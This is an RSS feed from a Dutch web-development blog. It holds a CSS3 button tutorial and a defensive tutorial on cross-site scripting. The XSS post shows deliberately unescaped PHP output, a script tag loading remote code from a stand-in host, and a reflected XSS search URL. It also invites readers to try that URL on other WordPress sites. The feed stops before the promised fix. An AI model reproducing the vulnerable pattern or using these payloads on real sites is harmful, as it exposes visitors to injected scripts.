<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Zifp.nl</title>
	<atom:link href="http://zifp.nl/feed/" rel="self" type="application/rss+xml" />
	<link>http://zifp.nl</link>
	<description>Web Development: HTML PHP CSS en Javascript</description>
	<lastBuildDate>Wed, 02 Feb 2011 12:01:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Simpele CSS3 button met 3D effect</title>
		<link>http://zifp.nl/css/simpele-css3-button-met-3d-effect/</link>
		<comments>http://zifp.nl/css/simpele-css3-button-met-3d-effect/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 21:02:33 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[box-shadow]]></category>
		<category><![CDATA[CSS3]]></category>
		<category><![CDATA[gradiënt]]></category>

		<guid isPermaLink="false">http://zifp.nl/?p=380</guid>
		<description><![CDATA[CSS3 bied een heleboel nieuwe gereedschap voor het stylen van een webpagina. CSS3 geeft vooral veel mogelijkheden voor het geven van een 3d look aan je webpagina. Dit maakt CSS3 heel erg geschikt voor gebruik in buttons. Voor maximale herkenbaarheid moeten buttons net zoals echte knoppen een beetje naar buiten steken. CSS3 geeft ons de [...]]]></description>
			<content:encoded><![CDATA[<p>CSS3 bied een heleboel nieuwe gereedschap voor het stylen van een webpagina. CSS3 geeft vooral veel mogelijkheden voor het geven van een 3d look aan je webpagina. Dit maakt CSS3 heel erg geschikt voor gebruik in buttons.</p>
<p>Voor maximale herkenbaarheid moeten buttons net zoals echte knoppen een beetje naar buiten steken. CSS3 geeft ons de mogelijkheid om een illusie van 3D te creëren zonder gebruik te maken van afbeeldingen.</p>
<p>CSS3 effecten die we gaan gebruiken zijn:</p>
<ul>
<li>box-shadow</li>
<li>gradient</li>
</ul>
<p><span id="more-380"></span><br />
Eerst maken we een normale knop:</p>
<div id="wpshdo_1" class="wp-synhighlighter-outer"><div id="wpshdt_1" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_1"></a><a id="wpshat_1" class="wp-synhighlighter-title" href="#codesyntax_1"  onClick="javascript:wpsh_toggleBlock(1)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_1" onClick="javascript:wpsh_code(1)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_1" onClick="javascript:wpsh_print(1)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_1" class="wp-synhighlighter-inner" style="display: block;"><pre class="html4strict" style="font-family:monospace;"><span class="sc2">&lt;<a href="http://december.com/html/4/element/button.html"><span class="kw2">button</span></a> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">&quot;knop&quot;</span>&gt;</span>Button<span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/button.html"><span class="kw2">button</span></a>&gt;</span></pre></div></div>
<p>We geven hem de volgende stijl mee:</p>
<div id="wpshdo_2" class="wp-synhighlighter-outer"><div id="wpshdt_2" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_2"></a><a id="wpshat_2" class="wp-synhighlighter-title" href="#codesyntax_2"  onClick="javascript:wpsh_toggleBlock(2)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_2" onClick="javascript:wpsh_code(2)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_2" onClick="javascript:wpsh_print(2)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_2" class="wp-synhighlighter-inner" style="display: block;"><pre class="css" style="font-family:monospace;">.knop<span class="br0">&#123;</span>
	<span class="kw1">border</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">solid</span> <span class="re0">#DA7C0C</span><span class="sy0">;</span>
	<span class="kw1">background-color</span><span class="sy0">:</span> <span class="re0">#f78d1d</span><span class="sy0">;</span>
	<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#fef4e9</span><span class="sy0">;</span>
	<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">6px</span> <span class="re3">16px</span><span class="sy0">;</span>
	<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">13px</span><span class="sy0">;</span>
	<span class="kw1">font-weight</span><span class="sy0">:</span><span class="nu0">700</span><span class="sy0">;</span>
	<span class="kw1">cursor</span><span class="sy0">:</span> <span class="kw2">pointer</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre></div></div>
<p>Deze knop ziet er dan als volgt uit:</p>
<p><button style="border: 1px solid #DA7C0C; background-color: #f78d1d; color: #fef4e9; padding: 6px 16px; font-size: 13px; font-weight: 700; cursor: pointer;">Button</button></p>
<p>Doordat ik gebruik maak van <code>cursor: pointer;</code> verandert de muis in een handje wanneer hij over de beweegt. Dit geeft een gebruiker de hint dat hier sprake is van een knop die ingedrukt kan worden. In een goed ontwerp zal dit effect overal aanwezig moeten zijn waarbij er interactie is tussen de gebruiker en de website.</p>
<p>Als eerste geven we de knop een schaduw effect mee:</p>
<div id="wpshdo_3" class="wp-synhighlighter-outer"><div id="wpshdt_3" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_3"></a><a id="wpshat_3" class="wp-synhighlighter-title" href="#codesyntax_3"  onClick="javascript:wpsh_toggleBlock(3)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_3" onClick="javascript:wpsh_code(3)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_3" onClick="javascript:wpsh_print(3)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_3" class="wp-synhighlighter-inner" style="display: block;"><pre class="css" style="font-family:monospace;">.knop<span class="br0">&#123;</span>
	-webkit-box-shadow<span class="sy0">:</span> <span class="re0">#AAA</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">4px</span><span class="sy0">;</span> <span class="coMULTI">/*CSS voor webkit browser*/</span>
	-moz-box-shadow<span class="sy0">:</span> <span class="re0">#AAA</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">4px</span><span class="sy0">;</span> <span class="coMULTI">/* CSS voor firefox*/</span>
	box-shadow<span class="sy0">:</span> <span class="re0">#AAA</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">4px</span><span class="sy0">;</span> <span class="coMULTI">/* officiële CSS voor Opera*/</span>
<span class="br0">&#125;</span></pre></div></div>
<p>box-shadow creëert een schaduw rondom het gehele object. Eerst geven we een kleur op. #AAA is een lichte kleur grijs zoals een echte schaduw eruit ziet. Met 1px 1px geven we aan dat de schaduw 1px naar onder en 1px naar rechts opschuift. Met 4px wordt aangegeven hoe groot de schaduw word.</p>
<p>Dit geeft een subtiel schaduw effect waardoor het lijkt alsof de knop uit de pagina gelift word:</p>
<p><button style="border: 1px solid #DA7C0C; background-color: #f78d1d; color: #fef4e9; padding: 6px 16px; font-size: 13px; font-weight: 700; cursor: pointer; -webkit-box-shadow: #AAA 1px 1px 4px; -moz-box-shadow: #AAA 1px 1px 4px; box-shadow: #AAA 1px 1px 4px;">Button</button></p>
<p>De volgende stap is het toevoegen van een gradient. Een gradient is een geleidelijk overgang tussen 2 verschillende kleuren.</p>
<p>Voor een 3d effect zijn minimaal 2 gradienten nodig. De eerste moet van boven naar beneden, van licht naar donker lopen. Dit vormt de basis van de knop.</p>
<p>De tweede gradient loopt van boven naar beneden, van donker naar licht. Deze wordt gebruikt wanneer de knop word ingedrukt. Hiervoor maken we gebruik van <code>:active</code>.</p>
<p>Tenslotte kunnen we nog met <code>:hover</code> een gradient toevoegen voor wanneer iemand met de muis over de knop heen beweegt.</p>
<p>We voegen de volgende code voor de gradient toe:</p>
<div id="wpshdo_4" class="wp-synhighlighter-outer"><div id="wpshdt_4" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_4"></a><a id="wpshat_4" class="wp-synhighlighter-title" href="#codesyntax_4"  onClick="javascript:wpsh_toggleBlock(4)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_4" onClick="javascript:wpsh_code(4)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_4" onClick="javascript:wpsh_print(4)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_4" class="wp-synhighlighter-inner" style="display: block;"><pre class="css" style="font-family:monospace;">.knop<span class="br0">&#123;</span>
<span class="kw1">background</span><span class="sy0">:</span> -webkit-gradient<span class="br0">&#40;</span>linear<span class="sy0">,</span> <span class="kw1">left</span> <span class="kw1">top</span><span class="sy0">,</span> <span class="kw1">left</span> <span class="kw1">bottom</span><span class="sy0">,</span> from<span class="br0">&#40;</span><span class="re0">#faa51a</span><span class="br0">&#41;</span><span class="sy0">,</span> to<span class="br0">&#40;</span><span class="re0">#f47a20</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> -moz-linear-gradient<span class="br0">&#40;</span><span class="kw1">top</span><span class="sy0">,</span>  <span class="re0">#faa51a</span><span class="sy0">,</span>  <span class="re0">#f47a20</span><span class="br0">&#41;</span><span class="sy0">;</span>
filter<span class="sy0">:</span> progid<span class="re2">:DXImageTransform</span><span class="re1">.Microsoft</span>.gradient<span class="br0">&#40;</span>startColorstr<span class="sy0">=</span><span class="st0">'#faa51a'</span><span class="sy0">,</span> endColorstr<span class="sy0">=</span><span class="st0">'#f47a20'</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="re1">.knop</span><span class="re2">:hover</span><span class="br0">&#123;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#f47c20</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> -webkit-gradient<span class="br0">&#40;</span>linear<span class="sy0">,</span> <span class="kw1">left</span> <span class="kw1">top</span><span class="sy0">,</span> <span class="kw1">left</span> <span class="kw1">bottom</span><span class="sy0">,</span> from<span class="br0">&#40;</span><span class="re0">#f88e11</span><span class="br0">&#41;</span><span class="sy0">,</span> to<span class="br0">&#40;</span><span class="re0">#f06015</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> -moz-linear-gradient<span class="br0">&#40;</span><span class="kw1">top</span><span class="sy0">,</span>  <span class="re0">#f88e11</span><span class="sy0">,</span>  <span class="re0">#f06015</span><span class="br0">&#41;</span><span class="sy0">;</span>
filter<span class="sy0">:</span>  progid<span class="re2">:DXImageTransform</span><span class="re1">.Microsoft</span>.gradient<span class="br0">&#40;</span>startColorstr<span class="sy0">=</span><span class="st0">'#f88e11'</span><span class="sy0">,</span> endColorstr<span class="sy0">=</span><span class="st0">'#f06015'</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="re1">.knop</span><span class="re2">:active </span><span class="br0">&#123;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#fcd3a5</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> -webkit-gradient<span class="br0">&#40;</span>linear<span class="sy0">,</span> <span class="kw1">left</span> <span class="kw1">top</span><span class="sy0">,</span> <span class="kw1">left</span> <span class="kw1">bottom</span><span class="sy0">,</span> from<span class="br0">&#40;</span><span class="re0">#F47A20</span><span class="br0">&#41;</span><span class="sy0">,</span> to<span class="br0">&#40;</span><span class="re0">#FAA51A</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> -moz-linear-gradient<span class="br0">&#40;</span><span class="kw1">top</span><span class="sy0">,</span>  <span class="re0">#f47a20</span><span class="sy0">,</span>  <span class="re0">#faa51a</span><span class="br0">&#41;</span><span class="sy0">;</span>
filter<span class="sy0">:</span>  progid<span class="re2">:DXImageTransform</span><span class="re1">.Microsoft</span>.gradient<span class="br0">&#40;</span>startColorstr<span class="sy0">=</span><span class="st0">'#f47a20'</span><span class="sy0">,</span> endColorstr<span class="sy0">=</span><span class="st0">'#faa51a'</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre></div></div>
<blockquote><p>Opmerking: Hier maken we gebruik van <code>filter:</code>. Filter is specifieke code voor Internet Explorer en is geen CSS3. Filter is bruikbaar vanaf Internet Explorer 5.5.</p></blockquote>
<p>In <code><a href="http://webkit.org/blog/175/introducing-css-gradients/">-webkit-gradient</a></code> voor webkit browsers, geven we eerst aan van waar tot waar de gradiënt moet lopen. Daarna geven we aan tussen welke 2 kleuren een gradiënt moet gaan lopen.</p>
<p>In <code><a href="https://developer.mozilla.org/en/CSS/-moz-linear-gradient">-moz-linear-gradient</a></code> voor Firefox, geven we eerst aan waar de gradiënt moet starten. Optioneel kunnen we een hoek opgeven waarin wordt aangegeven onder welke hoek de gradiënt moet lopen vb. 90deg. Tenslotte geven we de 2 kleuren op waartussen de gradiënt moet lopen.</p>
<p>Er is geen gradiënt ondersteuning voor Opera.</p>
<p>Met: <code>position:relative</code> en <code>top:1px</code> is het mogelijk om nog een extra illusie van indrukken te creëren. De knop beweegt hierdoor iets naar beneden wanneer je hem indrukt.</p>
<p>De uiteindelijk knop <em>zonder </em>:hover en :active effecten ziet er als volgt uit:</p>
<p><button style="border: 1px solid #DA7C0C; background-color: #f78d1d; color: #fef4e9; padding: 6px 16px; font-size: 13px; font-weight: 700; cursor: pointer; -webkit-box-shadow: #AAA 1px 1px 4px; -moz-box-shadow: #AAA 1px 1px 4px; box-shadow: #AAA 1px 1px 4px; background: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));<br />
		background: -moz-linear-gradient(top,  #faa51a,  #f47a20);<br />
		filter:  progid:DXImageTransform.Microsoft.gradient(startColorstr='#faa51a', endColorstr='#f47a20');<br />
	">Button</button></p>
<p>De volledige code:</p>
<div id="wpshdo_5" class="wp-synhighlighter-outer"><div id="wpshdt_5" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_5"></a><a id="wpshat_5" class="wp-synhighlighter-title" href="#codesyntax_5"  onClick="javascript:wpsh_toggleBlock(5)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_5" onClick="javascript:wpsh_code(5)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_5" onClick="javascript:wpsh_print(5)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_5" class="wp-synhighlighter-inner" style="display: block;"><pre class="html4strict" style="font-family:monospace;"><span class="sc2">&lt;<a href="http://december.com/html/4/element/html.html"><span class="kw2">html</span></a>&gt;</span>
<span class="sc2">&lt;<a href="http://december.com/html/4/element/head.html"><span class="kw2">head</span></a>&gt;</span>
	<span class="sc2">&lt;<a href="http://december.com/html/4/element/style.html"><span class="kw2">style</span></a> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">&quot;text/css&quot;</span>&gt;</span>
	.knop{
		border: 1px solid #DA7C0C;
		background-color: #f78d1d;
		color: #fef4e9;
		padding: 6 16;
		font-size: 13px;
		font-weight:700;
		cursor: pointer;
		-webkit-box-shadow: #AAA 1px 1px 4px;
		-moz-box-shadow: #AAA 1px 1px 4px;
		box-shadow: #AAA 1px 1px 4px;
		background: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));
		background: -moz-linear-gradient(top,  #faa51a,  #f47a20);
		filter:  progid:DXImageTransform.Microsoft.gradient(startColorstr='#faa51a', endColorstr='#f47a20');
	}
&nbsp;
	.knop:hover{
		background: #f47c20;
		background: -webkit-gradient(linear, left top, left bottom, from(#f88e11), to(#f06015));
		background: -moz-linear-gradient(top,  #f88e11,  #f06015);
		filter:  progid:DXImageTransform.Microsoft.gradient(startColorstr='#f88e11', endColorstr='#f06015');
	}
&nbsp;
	.knop:active {
		position: relative;
		top: 1px;
		color: #fcd3a5;
		background: -webkit-gradient(linear, left top, left bottom, from(#F47A20), to(#FAA51A));
		background: -moz-linear-gradient(top,  #f47a20,  #faa51a);
		filter:  progid:DXImageTransform.Microsoft.gradient(startColorstr='#f47a20', endColorstr='#faa51a');
	}
	<span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/style.html"><span class="kw2">style</span></a>&gt;</span>
<span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/head.html"><span class="kw2">head</span></a>&gt;</span>
<span class="sc2">&lt;<a href="http://december.com/html/4/element/body.html"><span class="kw2">body</span></a>&gt;</span>
	<span class="sc2">&lt;<a href="http://december.com/html/4/element/button.html"><span class="kw2">button</span></a> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">&quot;knop&quot;</span>&gt;</span>Button<span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/button.html"><span class="kw2">button</span></a>&gt;</span>
<span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/body.html"><span class="kw2">body</span></a>&gt;</span>
<span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/html.html"><span class="kw2">html</span></a>&gt;</span></pre></div></div>
]]></content:encoded>
			<wfw:commentRss>http://zifp.nl/css/simpele-css3-button-met-3d-effect/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beveilig je website tegen Cross-site scripting (XSS)</title>
		<link>http://zifp.nl/php/beveilig-je-website-tegen-cross-site-scripting-xss/</link>
		<comments>http://zifp.nl/php/beveilig-je-website-tegen-cross-site-scripting-xss/#comments</comments>
		<pubDate>Tue, 02 Nov 2010 16:45:17 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[beveiliging]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://zifp.nl/?p=351</guid>
		<description><![CDATA[Een van de belangrijkste dingen om je zorgen over te maken bij het ontwikkelen van een webapplicatie is de veiligheid van je website. Je website staat open voor de gehele wereld en ieder willekeurig persoon kan je website aanvallen. Omdat je van tevoren nooit weet van welke kant de aanval komt is het belangrijk om [...]]]></description>
			<content:encoded><![CDATA[<p>Een van de belangrijkste dingen om je zorgen over te maken bij het ontwikkelen van een webapplicatie is de veiligheid van je website. Je website staat open voor de gehele wereld en ieder willekeurig persoon kan je website aanvallen. Omdat je van tevoren nooit weet van welke kant de aanval komt is het belangrijk om je website zo veel mogelijk dicht te timmeren zodat niemand je website kan aanvallen.</p>
<p>In een reeks van artikelen probeer ik uit te leggen hoe je, je website kunt beschermen tegen aanvallen van buitenaf. Vandaag gaan we het hebben over Cross-site scripting (XSS).</p>
<p><span id="more-351"></span><br />
Cross-site scripting is een aanval waarbij een stuk kwaadwillende code op een website word geïnjecteerd Waneer iemand de pagina bezoekt, word de code uitgevoerd.</p>
<h3>Case 1</h3>
<p>Stel dat je een website hebt ontworpen waarop bezoekers reacties kunnen achterlaten:</p>
<div id="wpshdo_6" class="wp-synhighlighter-outer"><div id="wpshdt_6" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_6"></a><a id="wpshat_6" class="wp-synhighlighter-title" href="#codesyntax_6"  onClick="javascript:wpsh_toggleBlock(6)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_6" onClick="javascript:wpsh_code(6)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_6" onClick="javascript:wpsh_print(6)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_6" class="wp-synhighlighter-inner" style="display: block;"><pre class="php" style="font-family:monospace;"><span class="kw2">&lt;?php</span>
  <span class="kw1">echo</span> <span class="st0">&quot;<span class="es4">$gebruiker</span> zei <span class="es4">$bericht</span>&quot;</span><span class="sy0">;</span>
<span class="sy1">?&gt;</span></pre></div></div>
<p>De code voor invoer van het bericht kan er als volgt uitzien:</p>
<div id="wpshdo_7" class="wp-synhighlighter-outer"><div id="wpshdt_7" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_7"></a><a id="wpshat_7" class="wp-synhighlighter-title" href="#codesyntax_7"  onClick="javascript:wpsh_toggleBlock(7)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_7" onClick="javascript:wpsh_code(7)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_7" onClick="javascript:wpsh_print(7)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_7" class="wp-synhighlighter-inner" style="display: block;"><pre class="php" style="font-family:monospace;"><span class="kw2">&lt;?php</span>
  <span class="re0">$gebruiker</span> <span class="sy0">=</span> <span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st_h">'gebruiker'</span><span class="br0">&#93;</span><span class="sy0">;</span>
  <span class="re0">$bericht</span> <span class="sy0">=</span> <span class="re0">$_REQUEST</span><span class="br0">&#91;</span><span class="st_h">'bericht'</span><span class="br0">&#93;</span><span class="sy0">;</span>
  <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$bericht</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
     opslaan_bericht<span class="br0">&#40;</span><span class="re0">$gebruiker</span><span class="sy0">,</span> <span class="re0">$bericht</span><span class="br0">&#41;</span><span class="sy0">;</span>
  <span class="br0">&#125;</span>
<span class="sy1">?&gt;</span>
&lt;input type=&quot;text&quot; name=&quot;bericht&quot; value=&quot;<span class="kw2">&lt;?php</span> <span class="kw1">echo</span> <span class="re0">$bericht</span> <span class="sy1">?&gt;</span>&quot;&gt;</pre></div></div>
<p>Zolang een gebruiker alleen maar  simpele tekst invoert is er geen enkel probleem. Doordat er niet gecontroleerd wordt wat een gebruiker schrijft, kan iemand er willekeurige HTML code tussen plaatsten. Door bijvoorbeeld <code>&lt;/div&gt;</code> in een bericht te plaatsen kan een aanvaller er bijvoorbeeld voor zorgen dat de HTML van je pagina niet meer klopt. Hoewel dit behoorlijk irritant is, is het nog behoorlijk onschuldig.</p>
<p>Een aanvaller kan ook bijvoorbeeld  de volgende code in zijn bericht stoppen:</p>
<div id="wpshdo_8" class="wp-synhighlighter-outer"><div id="wpshdt_8" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_8"></a><a id="wpshat_8" class="wp-synhighlighter-title" href="#codesyntax_8"  onClick="javascript:wpsh_toggleBlock(8)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_8" onClick="javascript:wpsh_code(8)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_8" onClick="javascript:wpsh_print(8)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_8" class="wp-synhighlighter-inner" style="display: block;"><pre class="html4strict" style="font-family:monospace;"><span class="sc2">&lt;<a href="http://december.com/html/4/element/script.html"><span class="kw2">script</span></a> <span class="kw3">src</span><span class="sy0">=</span><span class="st0">&quot;h++p://abc.com/abcscript.js&quot;</span>&gt;&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/script.html"><span class="kw2">script</span></a>&gt;</span></pre></div></div>
<p>Wanneer iemand deze pagina dan bezoekt, word ook gelijk het script  <code>abcscript.js</code> van de website <code>h++p://abc.com</code> uitgevoerd. Deze script kan dan bijvoorbeeld gebruikt worden om een virus te plaatsen op de computer van de bezoeker.</p>
<h3>Case 2</h3>
<p>Een tweede voorbeeld van een XSS aanval is een aanval via de URL van een website.  Veel websites gebaseerd op WordPress hebben een zoekmachine ingebouwd.</p>
<p>Op deze site kan je zoeken door de volgende url in te typen:</p>
<p><code>http://zifp.nl/?s=zoekterm</code></p>
<p>In plaats van een zoekterm kan een aanvaller een stuk  code invoeren:</p>
<p><code>http://zifp.nl/?s=&lt;script type="text/javascript"&gt; alert('XSS!') &lt;/script&gt;<br />
</code></p>
<p>Gevaarlijk aan deze aanval is dat de url er zelf onschuldig uitziet:<br />
<code>http://zifp.nl/?s=%3Cscript%20type=%22text/javascript%22%3E%20alert('XSS!')%20%3C/script%3E</code><br />
Je kan niet duidelijk zien of er sprake is van een script.</p>
<p>Doordat veel wordpress templates niet goed in elkaar zitten werkt bovenstaande code op een heleboel websites. Probeer maar eens.</p>
<h3>Oplossing</h3>
<p>Om te voorkomen dat een bezoeker kwaadwillende code op je website plaatst moet <em>alle</em> invoer op je website gecontroleerd worden op vijandige code en moet alle vijandige code verwijderd worden.</p>
<p>Een belangrijk hulpmiddel in het ontdekken van malafide code en het schoonmaken daarvan is  PHP&#8217;s <a href="http://www.php.net/manual/en/intro.filter.php">input_filter extensie</a>.</p>
<p>We kunnen bovenstaande code dan in het volgende veranderen:</p>
